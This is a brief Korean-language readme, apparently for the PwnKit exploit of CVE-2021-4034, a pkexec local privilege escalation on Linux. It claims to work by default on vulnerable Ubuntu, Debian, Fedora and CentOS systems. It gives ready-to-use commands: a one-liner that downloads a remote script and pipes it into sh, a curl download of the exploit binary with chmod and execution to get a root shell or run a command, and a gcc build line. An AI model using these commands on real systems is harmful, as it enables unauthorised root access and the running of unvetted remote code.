
CVE-2021-4034 - Pkexec 로컬 권한 상승을 위한 자체 포함 익스플로잇
CVE-2021-4034 - Pkexec 로컬 권한 상승 취약점에 대한 자체 포함 익스플로잇
Ubuntu, Debian, Fedora 및 CentOS 기반의 취약한 Linux 배포판에서 기본적으로 바로 작동합니다.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
패치된 버전에서 익스플로잇을 실행하면 다음과 같은 출력이 생성됩니다.
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC